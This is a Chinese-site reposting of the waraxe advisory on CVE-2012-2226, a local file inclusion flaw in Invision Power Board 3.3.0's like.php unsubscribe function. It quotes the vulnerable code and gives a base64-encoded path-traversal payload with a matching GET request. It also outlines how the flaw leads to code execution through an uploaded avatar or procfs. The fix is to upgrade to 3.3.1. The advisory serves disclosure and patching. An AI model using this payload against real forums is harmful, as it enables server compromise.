网站地图    收藏   

主页 > 后端 > 网站安全 >

Invision Power Board 3.3.0本地文件包含缺陷及修复 -

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] [waraxe-2012-SA#086] - Local File Inclusion in Invision Power Board 3.3.0========================================================================作者: Janek Vind waraxe www.2cto.com......

[waraxe-2012-SA#086] - Local File Inclusion in Invision Power Board 3.3.0
========================================================================
作者: Janek Vind "waraxe" www.2cto.com
程序地址: http://www.waraxe.us/advisory-86.html
CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2226
 
程序缺陷描述
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Invision Power Board (abbreviated IPB, IP.Board or IP Board) is an Internet
forum software produced by Invision Power Services, Inc.
It is written in PHP and primarily uses MySQL as a database management system,
although support for other database engines is available.
 
缺陷影响版本
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Invision Power Board v3.3.0 和 3.2.3, 更早的版本可能也受影响
 
###############################################
1. Local File Inclusion in "like.php" function "_unsubscribe"
##################################################

 
CVE Information:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2012-2226 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org/), which standardizes names for
security problems.
 
技术分析:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Reason: using unsanitized user submitted data for file operations
Attack vector: user submitted GET parameter "key"
Preconditions:
1. attacker must be logged in as valid user
2. PHP must be < 5.3.4 for null-byte attacks to work
Result: remote file disclosure, php remote code execution
 
Source code snippet from vulnerable script "like.php":
-----------------[ source code start ]---------------------------------
protected function _unsubscribe()
{
/* Fetch data */
$key = trim( IPSText::base64_decode_urlSafe( $this->request['key'] ) );
 
list( $app, $area, $relId, $likeMemberId, $memberId, $email ) = explode( ';', $key );
 
/* Member? */
if ( ! $this->memberData['member_id'] )
{
$this->registry->output->showError( 'no_permission', 'pcgl-1' );
}
 
if ( ! $app || ! $area || ! $relId )
{
$this->registry->output->showError( 'no_permission', 'pcgl-1' );
}
 
if ( ( $memberId != $likeMemberId ) || ( $memberId != $this->memberData['member_id'] ) )
{
$this->registry->output->showError( 'no_permission', 'pcgl-2' );
}
 
if ( $email != $this->memberData['email'] )
{
$this->registry->output->showError( 'no_permission', 'pcgl-3' );
}
 
/* Think we're safe... */
$this->_like = classes_like::bootstrap( $app, $area );
-----------------[ source code end ]-----------------------------------
 
As seen above, user submitted parameter "key" is first base64 decoded and then
splitted to six variables. After multiple checks function "bootstrap()" is called,
using unvalidated user submitted data for arguments.
 
Source code snippet from vulnerable script "composite.php":
-----------------[ source code start ]---------------------------------
static public function bootstrap( $app=null, $area=null )
{
..
if( $area != 'default' )
{
$_file = IPSLib::getAppDir( $app ) . '/extensions/like/' . $area . '.php';
..
}
..
if ( ! is_file( $_file ) )
{
..
throw new Exception( "No like class available for $app - $area" );
..
}
..
$classToLoad = IPSLib::loadLibrary( $_file, $_class, $app );
-----------------[ source code end ]-----------------------------------
 
We can see, that variable "$_file" is composed using unvalidated argument "area".
Next there is check for file existence and in case of success next function,
"loadLibrary", is called, using unvalidated argument "$_file".
 
Source code snippet from vulnerable script "core.php":
-----------------[ source code start ]---------------------------------
static public function loadLibrary( $filePath, $className, $app='core' )
{
/* Get the class */
if ( $filePath != '' )
{
require_once( $filePath );/*noLibHook*/
}
-----------------[ source code end ]-----------------------------------
 
As seen above, "require_once" function is used with unvalidated argument.
 
Test: we need to construct specific base64 encoded payload.
First, semicolon-separated string:
 
forums;/../../test;1;1;1;come2waraxe (at) yahoo (dot) com [email concealed]
 
Email address and other components must be valid for successful test.
 
After base64 encoding:
 
Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MTsxO2NvbWUyd2FyYXhlQHlhaG9vLmNvbQ
 
Now let's log in as valid user and then issue GET request:
 
http://www.2cto.com /ipb330/index.php?app=core&module=global&section=like
&do=unsubscribe&key=Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MTsxO2NvbWUyd2FyYXhlQHlh
aG9vLmNvbQ
 
结果:
 
Fatal error: Uncaught exception 'Exception' with message 'No like class available
for forums - /../../test' in C:\apache_www\ipb330\admin\sources\classes\like\composite.php:333
Stack trace: #0 C:\apache_www\ipb330\admin\applications\core\modules_public\global\like.
php(131):
classes_like::bootstrap('forums', '/../../test')
#1 C:\apache_www\ipb330\admin\applications\core\modules_public\global\like.
php(44):
public_core_global_like->_unsubscribe()
#2 C:\apache_www\ipb330\admin\sources\base\ipsController.php(306):
public_core_global_like->doExecute(Object(ipsRegistry)) #3
C:\apache_www\ipb330\admin\sources\base\ipsController.php(120): ipsCommand->execute(Object(ipsRegistry))
#4 C:\apache_www\ipb330\admin\sources\base\ipsController.php(65): ipsController->handleRequest()
#5 C:\apache_www\ipb330\index.php(26): ipsController::run()
#6 {main} thrown in C:\apache_www\ipb330\admin\sources\classes\like\composite.php on line 333
 
Potential attack scenario:
 
1. Attacker registers to target forum and logs in as valid user
2. Attacker uploads avatar picture with malicious php code to target server
3. Attacker issues carefully crafted GET or POST request and as result gets php level access
 
There are many other ways to exploit LFI (Local File Inclusion) vulnerabilities,
for example by using procfs ("proc/self/environ") on *nix platforms.
 
修复方法:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
升级到新 3.3.1版
 
http://community.invisionpower.com/topic/360518-ipboard-331-ipblog-252-i
pseo-152-and-updates-for-ipboard-32x-ipgallery-42x-released/
 
---------------------------------- [ EOF ] ----------------------------------

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论